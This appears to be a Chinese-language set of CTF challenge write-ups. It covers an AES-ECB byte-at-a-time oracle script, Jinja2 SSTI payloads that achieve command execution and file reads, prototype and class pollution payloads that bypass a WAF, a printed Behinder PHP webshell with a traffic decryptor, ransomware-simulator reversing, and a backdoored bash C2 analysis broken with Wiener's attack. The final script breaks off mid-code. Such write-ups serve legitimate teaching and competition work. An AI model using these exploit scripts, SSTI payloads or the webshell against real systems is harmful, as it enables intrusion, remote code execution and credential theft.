SecureDoc

http://web-e925dea1e6.adworld.xctf.org.cn:80/

flag:flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}

这题一共是两段利用链:

  1. 普通用户功能里存在一个典型的 AES-ECB 字节恢复 Oracle,可以逐字节恢复隐藏的数字水印内容。
  2. 隐藏水印里泄露了管理员账号密码。登录后台后,管理员报表预览功能存在 Jinja2 SSTI,结合黑名单绕过可以直接拿到 RCE,最终读取 /flag。

“数字水印加密预览”按钮对应的前端代码里,直接留下了提示:

// Preview with template function (ECB Oracle vulnerability)

这基本就是明示第一段利用点在 /documents/apply-template。

登录后对 /documents/apply-template 发送不同长度的 content,发现:

返回的 total_length 满足:用户输入长度 + 82,加密块数量严格按 16 字节对齐增长,非常符合 可控输入 + 固定隐藏后缀 的 ECB 追加型 Oracle 特征

例如长度探测结果如下:

0  82  6 blocks
1  83  6 blocks
...
14 96  7 blocks
...
30 112 8 blocks

这里可以得到两个结论:

  • 块大小是 16 字节
  • 隐藏内容长度是 82 字节

利用方式就是标准的 ECB byte-at-a-time attack。

先用 A * 15 让目标块最后 1 个字节变成未知字节。记录该块密文。枚举候选字符,构造 A * 15 + 已知明文 + 候选字节。如果该块密文相同,说明猜中当前字节。重复直到恢复完整隐藏内容。


#!/usr/bin/env python3
import argparse
import string
import sys
from typing import Optional

import requests


DEFAULT_CHARSET = (
    string.ascii_letters
    + string.digits
    + string.punctuation
    + " "
    + "\n\r\t"
)


class ECBOracleExploit:
    def __init__(self, base_url: str, username: str, password: str) -> None:
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()

    def register(self) -> None:
        self.session.post(
            f"{self.base_url}/register",
            json={"username": self.username, "password": self.password},
            timeout=10,
        )

    def login(self) -> None:
        response = self.session.post(
            f"{self.base_url}/login",
            json={"username": self.username, "password": self.password},
            timeout=10,
        )
        response.raise_for_status()

    def preview(self, content: str) -> dict:
        response = self.session.post(
            f"{self.base_url}/documents/apply-template",
            json={"content": content},
            timeout=10,
        )
        response.raise_for_status()
        return response.json()["preview"]

    def oracle(self, content: str) -> bytes:
        preview = self.preview(content)
        return bytes.fromhex(preview["encrypted_content"])

    def detect_secret_length(self) -> int:
        base_len = self.preview("")["total_length"]
        return int(base_len)

    def recover_secret(
        self,
        block_size: int = 16,
        secret_len: Optional[int] = None,
        charset: str = DEFAULT_CHARSET,
    ) -> str:
        if secret_len is None:
            secret_len = self.detect_secret_length()

        recovered = ""
        for index in range(secret_len):
            pad_len = block_size - 1 - (len(recovered) % block_size)
            prefix = "A" * pad_len
            ciphertext = self.oracle(prefix)
            block_index = len(recovered) // block_size
            start = block_index * block_size
            end = start + block_size
            target_block = ciphertext[start:end]

            found = None
            for candidate in charset:
                probe = prefix + recovered + candidate
                probe_block = self.oracle(probe)[start:end]
                if probe_block == target_block:
                    found = candidate
                    recovered += candidate
                    print(
                        f"[{index:02d}] {candidate!r} -> {recovered!r}",
                        flush=True,
                    )
                    break

            if found is None:
                print(
                    f"[!] Recovery stalled at offset {index}. "
                    f"Recovered so far: {recovered!r}",
                    file=sys.stderr,
                    flush=True,
                )
                break

        return recovered


def main() -> None:
    parser = argparse.ArgumentParser(description="Recover the hidden ECB suffix.")
    parser.add_argument(
        "--base-url",
        default="http://web-e925dea1e6.adworld.xctf.org.cn:80",
        help="Target base URL",
    )
    parser.add_argument(
        "--username",
        default="ecbtest_user",
        help="Username to register/login with",
    )
    parser.add_argument(
        "--password",
        default="ecbtest_pass123",
        help="Password to register/login with",
    )
    parser.add_argument(
        "--secret-len",
        type=int,
        default=None,
        help="Override the hidden suffix length",
    )
    args = parser.parse_args()

    exploit = ECBOracleExploit(args.base_url, args.username, args.password)
    exploit.register()
    exploit.login()

    secret_len = args.secret_len or exploit.detect_secret_length()
    print(f"[*] Detected hidden suffix length: {secret_len}", flush=True)
    secret = exploit.recover_secret(secret_len=secret_len)
    print(f"[*] Final recovered text: {secret}", flush=True)


if __name__ == "__main__":
    main()

恢复结果如下:

*******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssZWRjMGI0! ******

把前后填充的 * 去掉后,可以提取出管理员凭据:

  • 用户名:suP3r@dm!n
  • 密码:S3cur3P@ssZWRjMGI0!

使用恢复出来的账号密码登录:

POST /login
{"username":"suP3r@dm!n","password":"S3cur3P@ssZWRjMGI0!"}

成功后返回:

{"is_admin":true,"message":"登录成功","username":"suP3r@dm!n"}

并且在工作台里能看到管理员入口:

  • GET /admin/dashboard

管理员后台提供“报告模板预览”功能,请求接口为:

  • POST /admin/report/preview

页面中还能看到模板语法示例:

{{ last_login }}
{{ username }}
{% if document_count > 40 %}

这说明后端基本可以确定在使用Jinja2渲染用户提交的模板。直接测试,发现有SSTI

后台对有WAF,比如:__init__、globals、config、request、[]、attr("upper")、~ 、字符串拼接

直接用_ 等价于 _,所以 "__subclasses__" 实际就是 __subclasses__

这样就拿到了 Python 类继承链。通过遍历 object.__subclasses__(),可以找到 subprocess.Popen 的索引:

{% for c in cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")() %}
{% if "Popen" in c|string %}{{loop.index0}}:{{c}}{% endif %}
{% endfor %}

实际回显结果为:

515:<class 'subprocess.Popen'>

所以后续可以通过下标 515 直接取到 Popen。

最终执行命令的 payload 如下:

{{((cycler.mro()|last|attr("\x5f\x5fsubclasses\x5f\x5f")()
|attr("\x5f\x5fgetitem\x5f\x5f")(515))("cat /flag",shell=True,stdout=-1)).communicate()}}

返回结果:

(b'flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}\n', None)

得到最终 flag:

flag{21faUyGbcaAZXyHWH8BKMrLMhfOqOTFR}

冰碧蝎?

pcap 解出 WebShell 内容如下:

<?php
@error_reporting(0);
session_start();
    $key="1ca3b8c9c81a5fdc";
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
        		 $post[$i] = $post[$i]^$key[$i+1&15]; 
        		}
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

可以得到冰蝎通信密钥为 1ca3b8c9c81a5fdc、POST 数据会先解密,再按 | 分割、最终执行形式是 assert|eval(...)、通信内容本质上是“加密后的 PHP 插件代码”

实际解包验证后,请求与响应使用的是、base64 编码密文、AES-CBC、IV 为 * 16

在流量中筛选 HTTP POST 请求,可以定位到冰蝎会话主要访问 /upload/1774235859.dcic.php

相关会话主要位于tcp.stream = 10, 11, 12, 13, 14

其中:stream 10/11/14 主要是命令执行与目录探测,stream 13 是虚拟终端插件交互

#!/usr/bin/env python3
import base64
import json
import re
import subprocess
from pathlib import Path

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


WORKDIR = Path(__file__).resolve().parent
PCAP = WORKDIR / "1.pcapng"
SHELL = WORKDIR / "shell.php"
OUTDIR = WORKDIR / "behinder_tmp"


def run_tshark(display_filter: str) -> list[list[str]]:
    cmd = [
        "tshark",
        "-r",
        str(PCAP),
        "-Y",
        display_filter,
        "-T",
        "fields",
        "-e",
        "frame.number",
        "-e",
        "tcp.stream",
        "-e",
        "http.request.uri",
        "-e",
        "http.response.code",
        "-e",
        "http.file_data",
    ]
    proc = subprocess.run(cmd, capture_output=True, text=True, check=True)
    rows = []
    for line in proc.stdout.splitlines():
        if not line.strip():
            continue
        parts = line.split("\t")
        if len(parts) < 5:
            parts += [""] * (5 - len(parts))
        rows.append(parts[:5])
    return rows


def extract_key() -> bytes:
    content = SHELL.read_text(encoding="utf-8", errors="ignore")
    match = re.search(r'\$key\s*=\s*"([0-9a-fA-F]{16})"', content)
    if not match:
        raise RuntimeError("failed to extract Behinder key from shell.php")
    return match.group(1).encode()


def decrypt_body(body_hex: str, key: bytes) -> str:
    body_bytes = bytes.fromhex(body_hex.strip())
    body_text = body_bytes.decode("latin1")
    cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16)
    plaintext = cipher.decrypt(base64.b64decode(body_text))
    return unpad(plaintext, AES.block_size).decode("utf-8", errors="replace")


def write_text(path: Path, content: str) -> None:
    path.write_text(content, encoding="utf-8", errors="ignore")


def extract_embedded_base64(text: str) -> list[str]:
    matches = []
    for match in re.finditer(r"base64_decode\('([^']+)'\)", text):
        try:
            matches.append(base64.b64decode(match.group(1)).decode("utf-8", errors="replace"))
        except Exception:
            continue
    return matches


def decode_response_json(text: str) -> str | None:
    try:
        payload = json.loads(text)
    except Exception:
        return None

    if not isinstance(payload, dict):
        return None

    decoded = {}
    for key, value in payload.items():
        if isinstance(value, str):
            try:
                decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")
            except Exception:
                decoded[key] = value
        else:
            decoded[key] = value
    return json.dumps(decoded, ensure_ascii=False, indent=2)


def main() -> None:
    OUTDIR.mkdir(exist_ok=True)
    key = extract_key()
    request_filter = 'http.request.method == "POST" && http.request.uri == "/upload/1774235859.dcic.php"'
    request_rows = run_tshark(request_filter)
    streams = sorted({row[1] for row in request_rows if row[1]})
    stream_expr = " || ".join(f'tcp.stream == {stream}' for stream in streams)
    response_rows = run_tshark(f'http.response && ({stream_expr})') if streams else []

    summary = {
        "key": key.decode(),
        "request_count": len(request_rows),
        "response_count": len(response_rows),
        "streams": streams,
        "requests": [],
        "responses": [],
        "skipped": [],
        "flag_hits": [],
    }

    flag_patterns = [
        re.compile(r"flag\{[^\n\r}]+\}", re.IGNORECASE),
    ]

    for frame, stream, uri, _, body_hex in request_rows:
        if not body_hex:
            continue
        try:
            decrypted = decrypt_body(body_hex, key)
        except Exception as exc:
            summary["skipped"].append({"frame": int(frame), "stream": int(stream), "kind": "request", "reason": str(exc)})
            continue
        prefix = f"request_{frame}_stream_{stream}"
        write_text(OUTDIR / f"{prefix}.txt", decrypted)
        item = {"frame": int(frame), "stream": int(stream), "uri": uri, "path": f"behinder_tmp/{prefix}.txt"}

        embedded = extract_embedded_base64(decrypted)
        if embedded:
            for index, decoded in enumerate(embedded, start=1):
                nested_path = OUTDIR / f"{prefix}_embedded_{index}.php"
                write_text(nested_path, decoded)
            item["embedded_count"] = len(embedded)
        summary["requests"].append(item)

        for pattern in flag_patterns:
            for match in pattern.findall(decrypted):
                summary["flag_hits"].append({"frame": int(frame), "source": item["path"], "value": match})

    for frame, stream, _, code, body_hex in response_rows:
        if not body_hex:
            continue
        try:
            decrypted = decrypt_body(body_hex, key)
            suffix = ".txt"
        except Exception:
            try:
                decrypted = bytes.fromhex(body_hex.strip()).decode("latin1", errors="replace")
                suffix = ".raw.txt"
            except Exception as exc:
                summary["skipped"].append({"frame": int(frame), "stream": int(stream), "kind": "response", "reason": str(exc)})
                continue
        prefix = f"response_{frame}_stream_{stream}"
        write_text(OUTDIR / f"{prefix}{suffix}", decrypted)
        item = {"frame": int(frame), "stream": int(stream), "code": int(code) if code else None, "path": f"behinder_tmp/{prefix}{suffix}"}

        decoded_json = decode_response_json(decrypted)
        if decoded_json is not None:
            decoded_path = OUTDIR / f"{prefix}_decoded.json"
            write_text(decoded_path, decoded_json)
            item["decoded_json"] = f"behinder_tmp/{prefix}_decoded.json"
        summary["responses"].append(item)

        if suffix == ".txt":
            for pattern in flag_patterns:
                for match in pattern.findall(decrypted):
                    summary["flag_hits"].append({"frame": int(frame), "source": item["path"], "value": match})
        if decoded_json is not None:
            for pattern in flag_patterns:
                for match in pattern.findall(decoded_json):
                    summary["flag_hits"].append({"frame": int(frame), "source": item["decoded_json"], "value": match})

    write_text(OUTDIR / "summary.json", json.dumps(summary, ensure_ascii=False, indent=2))


if __name__ == "__main__":
    main()

通过解密请求体,可以还原出攻击者执行过的典型命令:

cd /var/www/html/upload/ ;ls
cd /var/www/html/upload/ ;whoami
cd /var/www/html/upload/ ;pwd

对应响应可知当前目录为:

/var/www/html/upload

并且目录内存在:

1774234859.dcic.php
1774235859.dcic.php
ffffff111aG

这里 ffffff111aG 就是最关键的可疑项。

在 request_957_stream_14_embedded_1.php 中,可以明确还原出攻击者执行的命令:

cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls

这说明攻击者在 /var/www/html/upload/ 目录中创建了一个文件,文件名为 ffffff111aG,写入内容为:

2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG

随后再次列目录,响应中确认该文件确实已存在:

{
  "status": "success",
  "msg": "1774234859.dcic.php\n1774235859.dcic.php\nffffff111aG\n"
}

结合题目要求与会话行为,可以确认攻击者最终落地并显式验证的目标就是:

ffffff111aG

base58 解码为

flag{dbeeed36-0d7e-211a-69db-66bd74ea91d5}

SigFlow

附件包含一个静态链接、strip 后的 64 位 ELF:

file challenge

结果显示:

challenge: ELF 64-bit LSB executable, x86-64, statically linked, stripped

附件中还给出了若干 .siglocked 文件和恢复提示。最终确认 challenge 不是解密器,而是加密器。它会从固定输入目录读取明文:

./challenge_data/plain

并输出到:

./challenge_data/encrypted

二进制中嵌入的 token 为:

SIGFLOW_RANSIM_TOKEN_2026_LOCKER

该 token 会参与上下文初始化。原始未修改二进制在本机环境下生成的 incident id 固定为:

67319e97abae3c77

每个 .siglocked 文件由 32 字节头部和密文组成:

offset  size  meaning
0x00    8     magic: "SIGLCK1\0"
0x08    8     per-file nonce
0x10    8     incident id
0x18    4     plaintext length, little-endian
0x1c    4     plaintext FNV-1a 32-bit checksum
0x20    N     ciphertext

例如 encrypted_data/report.txt.siglocked:

magic        = SIGLCK1\0
nonce        = 8c52fe5f3277027b
incident id  = 67319e97abae3c77
length       = 0x7f
checksum     = 70e35154

校验函数位于 0x404d00,是标准 32 位 FNV-1a:

def fnv1a32(data):
    h = 0x811C9DC5
    for b in data:
        h = ((h ^ b) * 0x01000193) & 0xffffffff
    return h

主要函数地址如下:

0x401a10  main
0x401c30  anti-debug / environment collector
0x4030e0  context initializer
0x403a90  second-stage transform VM
0x404090  first-stage transform VM wrapper
0x404d00  FNV-1a 32-bit helper
0x404ee0  directory traversal and file encryption
0x405570  restore note writer

0x404ee0 中可以看到加密流程:

read plaintext
derive per-file nonce
compute plaintext FNV-1a
call 0x404090
write SIGLCK1 header
write ciphertext

其中 0x404090 会先执行第一阶段变换,随后在长度大于 1 时调用 0x403a90 执行第二阶段变换。

由于修改二进制会影响上下文,我使用原始二进制运行大量小文件,在执行过程中发送 SIGILL 生成 core,再从 core 中搜索 token SIGFLOW_RANSIM_TOKEN_2026_LOCKER。

提取出的上下文长度使用 0x158 字节,其中重要字段包括:

ctx[0x108:0x110] = 67319e97abae3c77
ctx[0x110:0x130] = second-stage VM table
ctx[0x148:0x158] = second-stage seed material

这个上下文已经内置在本地脚本 solve_sigflow.py 中。

0x404090 不是简单检查,它会按字节生成一段 16 条指令的小 VM 程序,并对当前字节做 XOR 流式变换。该阶段依赖:

relative path hash
per-file nonce
ctx table bytes
rolling 32-bit state

路径会参与 FNV-1a 哈希,所以解密时必须使用原 .siglocked 去掉后缀后的相对路径,例如:

report.txt
logs/audit.log
raw/manifest.json
db/clients.csv
raw/model.bin
0x19  reg[a] = table64[b & 0x3f]
0x2a  reg[a] ^= b
0x3b  reg[a] = reg[a] + reg[b & 3] + c
0x4c  reg[a] = rol8(reg[a], b & 7)
0x5d  reg[a] = (((b | 1) * reg[a] + c) & 0xff) ^ reg[(a + 1) & 3]
0x6e  conditional trap
0x7f  reg[a] -= b
0x80  reg[a] >>= b & 7
0x91  if reg[a] > reg[b & 3]: swap
0xa2  LFSR-like shift/xor step
0xb3  conditional skip next instruction
0xf0  output byte key and update rolling state

该阶段本质是对每个字节生成一个 key:

cipher_byte_before_stage2 = plain_byte ^ key

因此该阶段加密和解密相同,都是再次 XOR 同一个 key。解密时只需要用密文经过第二阶段逆变换后的数据,按相同状态顺序执行第一阶段即可。

使用 nonce 和上下文派生 16 字节 seed:

seed[i] = ctx[0x148 + i] ^ ((i * 0x37) & 0xff) ^ nonce[i & 7]

VM canonical opcode 包括:

0x1a  load data[pos + signed offset]
0x2b  store data[pos]
0x3c  load seed[(pos + b) & 0xf]
0x4d  load table[(pos + reg[b]) & 0x1f]
0x5e  xor register
0x6f  rol8 by register-derived count
0x70  add register
0x81  xor immediate
0x92  set pos
0xa3  pos++ and conditional loop
0xb4  pos-- and conditional loop
0xc5  conditional trap
0xf6  return success

关键坑点是 0xa3/0xb4 的回跳位置。回跳后会跳过某些初始 load 指令,所以寄存器不是每轮重新加载,而是跨迭代滚动。最终第二阶段可以化简为三段 pass:

# pass 1: forward, pos = 1..n-1
r0 = buf[0]
for pos in range(1, n):
    r0 = rol8(r0, (seed[pos & 0xf] + 1) & 7)
    buf[pos] ^= r0

# pass 2: backward, pos = n-2..0
r0 = buf[n - 1]
for pos in range(n - 2, -1, -1):
    r0 = rol8(r0, (seed[(pos + 9) & 0xf] + 1) & 7)
    buf[pos] ^= r0

# pass 3: per-byte table mix
r0 = seed[0]
for pos in range(n):
    r2 = table[(pos + r0) & 0x1f]
    buf[pos] = ((buf[pos] ^ r2) + r0) & 0xff

逆变换按相反顺序执行:

# invert pass 3
r0 = seed[0]
for pos in range(n):
    r2 = table[(pos + r0) & 0x1f]
    buf[pos] = ((buf[pos] - r0) & 0xff) ^ r2

# invert pass 2
r0 = buf[n - 1]
for pos in range(n - 2, -1, -1):
    r0 = rol8(r0, (seed[(pos + 9) & 0xf] + 1) & 7)
    buf[pos] ^= r0

# invert pass 1
r0 = buf[0]
for pos in range(1, n):
    r0 = rol8(r0, (seed[pos & 0xf] + 1) & 7)
    buf[pos] ^= r0

拼接得到最终 flag:

flag{sigflow_vm_signal_mixed_vm_locked_files}

asystem

flag:flag{F2CeQTrQS2aOMxZ6k2mW3Th62rYXtN0m}

题目实际是一个 Python Flask 前端 + Node.js 后端的组合

/download 存在目录穿越

Python 端下载逻辑:

filename = request.args.get("filename")
if "flag" in filename.lower() or "config" in filename.lower():
    return "you cant"

if filename.startswith("/"):
    file_path = "/datas/upload_files" + filename
else:
    file_path = "/datas/upload_files/" + filename

return send_file(file_path, as_attachment=True)

这里只有关键字过滤,没有做路径归一化,所以可以直接:

/download?filename=../../server/app.js

从而读出 Node 后端源码,再把整条利用链补齐。

Node 代码里 .kmz 会被解析为 KML,再喂给自带的 xml2json:

parseKMZ.toKML(kmzPath).then((kmlString) => {
    parser.xmlToJson(kmlString, (err,json)=>{

而 utils/xml2json/lib/xmlToJson.js 里有这样的逻辑:

if(!json[tag]) {
    json[tag]={}
}

for(let key in attributes) {
    json[tag][key] = attributes[key];
}

如果标签名是 __proto__,那么 json["__proto__"] 实际上就是对象原型,接着执行:

json["__proto__"]["FIX_SECRET"] = "mew2pass"

就会把 Object.prototype.FIX_SECRET 污染掉。

Node /admin 的关键逻辑:

if (fix === 'true' && FIX_SECRET !== undefined) {
    fs.writeFileSync(CONFIG_PATH, String(FIX_SECRET), 'utf8');
    admin_secret = String(FIX_SECRET);
    ...
}

这里 FIX_SECRET 并没有定义,但在 Node/CommonJS 环境下,如果 Object.prototype.FIX_SECRET 被污染,那么直接访问 FIX_SECRET 会取到这个值。于是我们只要上传一个恶意 .kmz,再调用 Python 暴露出来的:

/api/fix-secret

就能把 admin_secret 改成我们指定的口令。

Python 端注册逻辑:

data = json.loads(raw_str)
user = User()
merge(data, user)

merge() 支持递归写属性:

elif hasattr(dst, k) and type(v) == dict:
    merge(v, getattr(dst, k))
else:
    setattr(dst, k, v)

因此可以从 user.__class__.__init__.__globals__ 一路走到函数全局变量,改写全局 WAF。

WAF 是这样做的:

raw_str = request.get_data(as_text=True)
test_waf = raw_str.lower().replace('"', '')
for word in WAF:
    if word in test_waf:
        return ...

所以它拦的是请求原文,而不是 json.loads() 之后的对象。这样就有两个绕过点:

  • 用 Unicode 转义写敏感键名,例如:
  • __class__ -> __class__
  • __init__ -> __init__
  • __globals__ -> __globals__
  • 避开原始串里的 }}、[、]

由于 [] 会被拦,所以不能把 WAF 改成空列表;最稳的做法是把它改成空字符串 ""。这样后续:

for word in WAF:

相当于遍历空串,黑名单直接失效。

/protected 中:

if '{{' in current_user or '}}' in current_user:
    return ...

resp = render_template_string(f"Hello, {current_user}! You have access to this protected route.")

这说明:型 {{ ... }} 不能用,要用 {% ... %} 替代

先通过目录穿越读 Node 源码

/download?filename=../../server/app.js

确认到:

  • .kmz 会走 xml2json
  • /admin?fix=true 依赖未定义变量 FIX_SECRET

上传恶意 .kmz,污染 Object.prototype.FIX_SECRET

恶意 KML 核心内容:

<?xml version="1.0" encoding="UTF-8"?>
<kml><__proto__ FIX_SECRET="mew2pass"></__proto__></kml>

压成 poc.kmz 上传到 /api/upload 即可。

触发 /api/fix-secret

调用:

/api/fix-secret

返回:

{"code":0,"data":{"admin_secret":"mew2pass"},"message":"fixed"}

说明管理员口令已经变成我们指定的 mew2pass。

用 /register 清空 Python 全局 WAF

核心 payload:

{"\u005f\u005fclass\u005f\u005f":{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"WAF":""}}}}

注意点:

  • 不能出现明文 __class__、__init__、__globals__
  • 不能把 WAF 改成 [],因为原始请求会包含 [、]

同一连接里访问 /protected 打 SSTI

{%set x=cycler.__init__.__globals__.__builtins__.open('/datas/upload_files/result.txt','w').write(cycler.__init__.__globals__.__builtins__.open('/flag').read())%}OK

下载结果文件

/download?filename=result.txt

得到:

flag{F2CeQTrQS2aOMxZ6k2mW3Th62rYXtN0m}

evil_bash

题目给了一个可疑的 bash 二进制和一份流量 captchated.pcapng。

目标可以拆成两部分:

逆向这个被投毒的 bash,搞清楚恶意逻辑和协议。

从 pcap 中恢复最终外传的 flag.txt。

主线调用关系如下:

main -> sub_167E0 -> pthread_create(start_routine)

start_routine 是真正的后门线程。它会连接 127.0.0.1:9999,随后和控制端进行自定义协议通信。

这个结论可以从逆向得到初始化时解密出 127.0.0.1,创建 TCP 连接到 9999,收包、解包、执行 VM、回包都集中在 start_routine

流量包头是固定的:

magic = "DSMV"

包结构:

magic(4) | type(4) | length(4) | payload(length) | crc32(4)

协议类型:

  • type 1: 握手,携带 RSA 参数
  • type 2: 服务端下发的命令 VM 数据
  • type 3: 客户端执行命令后的返回数据
  • type 4: ack
  • type 5: close

对应收发函数:

  • sub_A8F30: 接收 DSMV 包
  • sub_A9430: 发送 DSMV 包

pcap 中主要有两条 TCP 会话:

127.0.0.1:57732 <-> 127.0.0.1:4444
127.0.0.1:42594 <-> 127.0.0.1:9999

一开始很容易误判 4444 这条 1.478 MB 的大流就是外传数据。

但重组后发现:

  • 4444 -> 57732 基本单向发送
  • 去掉最开始的 206 字节头之后
  • 剩余内容的 SHA-256 与本地题目给出的 bash 完全一致

也就是说,这条流实际上是在下发被投毒的 bash:

trim(stream0, 206 bytes) == local ./bash

所以真正的外传不在 4444,而在 9999 控制流里。

从控制流解出的最后几条 VM 命令可以看到完整恶意流程:

ls
tar -zcvf flag.tar flag.txt
ls
openssl enc -aes-256-cbc -salt -pbkdf2 -pass pass:<...> -in flag.tar -out flag.enc.1.tar
...
openssl enc -aes-256-cbc -salt -pbkdf2 -pass pass:<...> -in flag.enc.31.tar -out flag.enc.32.tar
ls
base64 flag.enc.32.tar

也就是说,攻击端的工作流是:

  1. 打包 flag.txt 为 flag.tar
  2. 连续 32 层 OpenSSL 对称加密
  3. 最后执行 base64 flag.enc.32.tar
  4. 把 Base64 结果通过 type 3 包回传

恶意程序里有两个关键函数:

  • sub_A87A0: 128 -> 126 的块变换
  • sub_A8950: 126 -> 128 的块变换

它们本质上都是:

mpz_import -> mpz_powm -> mpz_export

也就是标准 RSA 模幂,只不过按固定块尺寸在收发。

握手包会下发两段十六进制字符串:

n | e

最开始我把第二段误当成私钥指数,但后面验证发现不是。

type 2 解密后,不是普通字符串,而是一段小型 VM 字节码。

核心执行函数:

  • sub_A9870: VM 初始化
  • sub_A9890: 装载字节码
  • sub_A98C0: 解释执行

其中有危险 opcode 会走:

popen(command, "r")

所以控制端实际是在远程下发命令,客户端执行后把结果再打包回去。

我先用握手中的大指数去解 type 2 和 type 3。

结果:

  • type 2 能正常解出 VM 命令
  • type 3 全部解成了零块

这说明我们的理解只对了一半。

进一步做了这个检查:

c^e mod n == m   成立
m^e mod n == c   不成立

于是可以确定:

  • 握手里那段超大指数是公钥指数 e
  • 它只能用于“解服务端下发给客户端的那一侧”
  • 客户端回包 type 3 需要对应的私钥指数 d

题目于是从“协议逆向题”转成了“密码题”。

现在我们已知:

  • RSA 模数 n
  • 公开指数 e
  • 最后两个真正外传的密文包是 type 3 的 [036] 和 [037]

所以问题变成:

已知 (n, e),求 d,然后解密最后两个 type 3 包

先试了几种常规方法:

  • 小因子扫描
  • Pollard p-1
  • Pollard rho
  • FactorDB 查询

都没有直接出结果。

说明这个 n 不是简单的小因子弱模数,也不是题目直接把因子公开在库里。

注意到握手里的 e 非常异常:

  • 不是常见的 3
  • 不是 65537
  • 而是一个接近 1024 位的大整数

这很容易让人怀疑:

公开指数 e 很大,而私钥指数 d 很小

这正是 Wiener attack 的经典适用场景。

于是对 (e, n) 做 continued fraction / convergents 检查,成功恢复出:

d = 0xb6279f56fe93aacf95b7

也就是说,这个 RSA 的真正弱点是:

private exponent d 太小

拿到 d 后,对这两个包做相同的 RSA 块还原:

  • 036_client_payload.raw.bin
  • 037_client_payload.raw.bin

解密后合并,可以得到:

  1. 一段 ls 输出
  2. 紧接着是 flag.enc.32.tar 的 Base64 内容

特征头非常明显:

U2FsdGVkX1...

它是 OpenSSL Salted__ 格式的 Base64。

前面 VM 命令已经把 32 轮 OpenSSL 的口令全部暴露出来了,所以直接调用恢复脚本即可:

python recover_flag.py \
  --base64-file rsa_exfil_analysis/exfil_base64.txt \
  --work-dir recovered_flag_from_pcap

恢复结果:

  • flag.tar
  • 解包后的 flag.txt

这次过程中一共形成了三类实用脚本。

作用:

  • 跟随 TCP 流
  • 拆 DSMV 包
  • 用握手里的 n,e 解 type 2
  • 解析 VM,恢复攻击端命令
#!/usr/bin/env python3

from __future__ import annotations

import argparse
import dataclasses
import pathlib
import re
import shutil
import struct
import subprocess
import sys
from typing import Iterable


MAGIC = b"DSMV"
HEX_LINE_RE = re.compile(r"^[0-9a-fA-F]+$")
TYPE_NAMES = {
    1: "handshake",
    2: "server_payload",
    3: "client_payload",
    4: "ack",
    5: "close",
}


@dataclasses.dataclass
class Packet:
    offset: int
    index: int
    packet_type: int
    payload: bytes
    crc: int


@dataclasses.dataclass
class DecryptedPacket:
    packet: Packet
    decrypted: bytes
    declared_length: int | None
    body: bytes
    printable_strings: list[str]


@dataclasses.dataclass
class VmTrace:
    commands: list[str]
    copied_strings: list[str]
    final_regs: list[int]
    final_flags: int
    steps: int
    halted: bool
    exit_reason: str


class VmHalt(Exception):
    pass


class VmInterpreter:
    def __init__(self, code: bytes) -> None:
        self.regs = [0] * 8
        self.pc = 0
        self.sp = 0xFFFC
        self.flags = 0
        self.mem = bytearray(0x10000)
        self.mem[: len(code)] = code[: len(self.mem)]
        self.commands: list[str] = []
        self.copied_strings: list[str] = []
        self.output = bytearray()
        self.halted = False

    def read_u8(self, addr: int) -> int:
        return self.mem[addr & 0xFFFF]

    def write_u8(self, addr: int, value: int) -> None:
        self.mem[addr & 0xFFFF] = value & 0xFF

    def read_u32(self, addr: int) -> int:
        addr &= 0xFFFF
        return int.from_bytes(self.mem[addr : addr + 4], "big")

    def write_u32(self, addr: int, value: int) -> None:
        addr &= 0xFFFF
        self.mem[addr : addr + 4] = (value & 0xFFFFFFFF).to_bytes(4, "big")

    def signed32(self, value: int) -> int:
        value &= 0xFFFFFFFF
        return value - 0x100000000 if value & 0x80000000 else value

    def update_arith_flags(self, value: int) -> None:
        value &= 0xFFFFFFFF
        self.flags = 1 if value == 0 else (4 if value & 0x80000000 else 0)

    def imm32_reg(self) -> int:
        return int.from_bytes(self.mem[self.pc + 2 : self.pc + 6], "big")

    def imm32(self) -> int:
        return int.from_bytes(self.mem[self.pc + 1 : self.pc + 5], "big")

    def c_string(self, addr: int, limit: int = 4095) -> bytes:
        addr &= 0xFFFF
        data = bytearray()
        for index in range(limit):
            if addr + index > 0xFFFF:
                break
            byte = self.mem[addr + index]
            if byte == 0:
                break
            data.append(byte)
        return bytes(data)

    def op_compare(self, lhs: int, rhs: int) -> None:
        lhs_u = lhs & 0xFFFFFFFF
        rhs_u = rhs & 0xFFFFFFFF
        if lhs_u == rhs_u:
            self.flags = 1
            return
        diff = self.signed32(lhs_u - rhs_u)
        if lhs_u < rhs_u:
            self.flags = 2 if diff >= 0 else 6
        else:
            self.flags = 0 if diff >= 0 else 4

    def run(self, max_steps: int = 100000) -> VmTrace:
        steps = 0
        exit_reason = "step_limit"
        try:
            while steps < max_steps:
                opcode = self.read_u8(self.pc)
                if opcode == 0xFE:
                    self.halted = True
                    exit_reason = "halt"
                    break
                if opcode == 0:
                    steps += 1
                    continue
                self.execute(opcode)
                steps += 1
            else:
                exit_reason = "step_limit"
        except VmHalt as exc:
            exit_reason = str(exc)

        return VmTrace(
            commands=self.commands,
            copied_strings=self.copied_strings,
            final_regs=self.regs[:],
            final_flags=self.flags,
            steps=steps,
            halted=self.halted,
            exit_reason=exit_reason,
        )

    def execute(self, opcode: int) -> None:
        reg = self.read_u8(self.pc + 1) & 7
        src_reg = self.read_u8(self.pc + 2) & 7

        if opcode == 1:
            self.regs[reg] = self.imm32_reg()
            self.pc += 6
            return
